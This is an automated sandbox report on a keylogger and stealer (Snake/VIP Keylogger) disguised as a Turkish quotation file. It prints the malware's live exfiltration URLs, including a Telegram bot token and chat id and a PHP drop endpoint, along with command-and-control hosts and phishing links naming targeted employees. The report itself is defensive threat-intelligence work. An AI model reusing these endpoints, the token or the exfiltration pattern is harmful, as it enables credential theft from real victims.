Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.5660000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3be7868.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2146266318.0000000005660000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2143245701.0000000003BE7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.4575972771.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe PID: 6444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe PID: 2820, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4575972771.0000000002C60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe PID: 6444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe PID: 2820, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	22 Software Packing	NTDS	1 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	2 Process Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	28%	Virustotal		Browse
fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	34%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
reallyfreegeoip.org	188.114.96.3	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	158.101.44.242	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery	false	high
http://checkip.dyndns.org/	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:045012%0D%0ADate%20and%20Time:%2006/01/2025%20/%2019:42:00%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20045012%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.office.com/	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002C60000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4579936921.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4579936921.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4579936921.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002C4B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4579936921.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bank.gov.ua/NBUStatService/v1/statdirectory/exchange?valcode=	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4579936921.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002C60000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4579936921.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://varders.kozow.com:8081	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	high
http://aborters.duckdns.org:8081	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4579936921.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-451	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	false	high
http://51.38.247.67:8081/_send_.php?L	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002C60000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anotherarmy.dns.army:8081	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4579936921.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/q	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2142055553.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4579936921.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	false
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584780
Start date and time:	2025-01-06 13:56:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe renamed because original name is a hash value
Original Sample Name:	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Siparii jpeg docx.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/8@3/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 100% Number of executed functions: 83 Number of non-executed functions: 4
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 199.232.214.172, 184.28.90.27, 13.107.246.45, 4.175.87.197
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, 7.4.8.4.4.3.1.4.0.0.0.0.0.0.0.0.0.0.0.a.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, PID 2820 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:56:55	API Interceptor	5934066x Sleep call for process: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe modified
07:56:57	API Interceptor	7x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	yxU3AgeVTi.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	ITT # KRPBV2663 .doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	kP8EgMorTr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=vyczmuFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#changyeol.choi@hyundaielevator.com	Get hash	malicious	Unknown	Browse
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=rmgfuFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#kh.jang@hyundaimovex.com	Get hash	malicious	Unknown	Browse
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=olgelfuabFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#kh.jang@hyundaimovex.com	Get hash	malicious	Unknown	Browse
	https://telegra.ph/Clarkson-122025-01-02	Get hash	malicious	Unknown	Browse
	W2k2NLSvja.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
188.114.96.3	Gg6wivFINd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	unasnetds.ru/eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/u7ghXEYp/download
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/1a34/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.mydreamdeal.click/1ag2/
	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	www.questmatch.pro/ipd6/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/I7fmQg9d/download
	need quotations.exe	Get hash	malicious	FormBook	Browse	www.rtpwslot888gol.sbs/jmkz/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/Bh1Kj4RD/download
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/XrlEIxYp/download
158.101.44.242	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PO#5_Tower_049.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	file.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	PO_4027_from_IC_Tech_Inc_6908.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	ZOYGRL1ePa.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	checkip.dyndns.org/
	Ziraat_Bankasi_Swift_Mesaji_TXB04958T.scr.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	Statement_3029_from_Cross_Traders_and_Logistics_ltd.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	Requested Documentation.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	Overheaped237.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	HUSDGHCE23ED.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	yxU3AgeVTi.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	ITT # KRPBV2663 .doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	kP8EgMorTr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	PO#5_Tower_049.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	W2k2NLSvja.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	104.21.67.152
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
bg.microsoft.map.fastly.net	#Employee-Letter.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	Agent381.msi	Get hash	malicious	Unknown	Browse	199.232.210.172
	build.exe	Get hash	malicious	RedLine	Browse	199.232.214.172
	AZfDGVWF68.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	CKi4EZWZsC.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	199.232.214.172
	LZUCldA1ro.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	4HbZBsYZ48.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	DUD6CqQ1Uj.doc	Get hash	malicious	Unknown	Browse	199.232.210.172
	ny9LDJr6pA.exe	Get hash	malicious	Quasar	Browse	199.232.214.172
	JP1KbvjWcM.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	199.232.210.172
api.telegram.org	yxU3AgeVTi.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	ITT # KRPBV2663 .doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	kP8EgMorTr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=vyczmuFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#changyeol.choi@hyundaielevator.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=rmgfuFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#kh.jang@hyundaimovex.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=olgelfuabFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#kh.jang@hyundaimovex.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://telegra.ph/Clarkson-122025-01-02	Get hash	malicious	Unknown	Browse	149.154.167.220
	W2k2NLSvja.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	yxU3AgeVTi.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	ITT # KRPBV2663 .doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	kP8EgMorTr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
